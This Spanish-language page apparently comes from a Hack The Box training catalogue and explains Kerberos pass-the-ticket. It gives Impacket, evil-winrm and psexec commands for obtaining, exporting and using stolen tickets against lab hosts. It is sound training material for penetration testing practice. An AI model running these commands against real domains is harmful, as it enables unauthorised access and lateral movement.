Pass the ticket
Subtécnica de T1550 Material de autenticación alternativo ↗
Usar un ticket de Kerberos (TGT o de servicio) robado o forjado para autenticarse.
Cómo aparece en Hack The Box
Exporta el .ccache en KRB5CCNAME y usa las herramientas con -k -no-pass. Recuerda sincronizar la hora con el DC (ntpdate o faketime) y usar nombres, no IP.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
Guías
- Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI 4 min de lectura Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.
- Delegación Kerberos: unconstrained, constrained y RBCD explicadas y explotadas 4 min de lectura Los tres tipos de delegación Kerberos en AD, cómo encontrarlos y cómo abusar de cada uno con getST, rbcd.py y addcomputer para suplantar al administrador.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Active Directory a fondo › Impacket
TGT (y exportarlo)
Atacante
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccacheEvil-WinRM › Formas de autenticarse
Con Kerberos (KRB5CCNAME exportado y krb5.conf configurado)
evil-winrm -i dc01.box.htb -r box.htbImpacket › Más ejemplos
Usar un ticket de Kerberos (sin contraseña)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]
Pasar un ticket de Rubeus (.kirbi) a Linux
impacket-ticketConverter ticket.kirbi ticket.ccacheNingún comando coincide.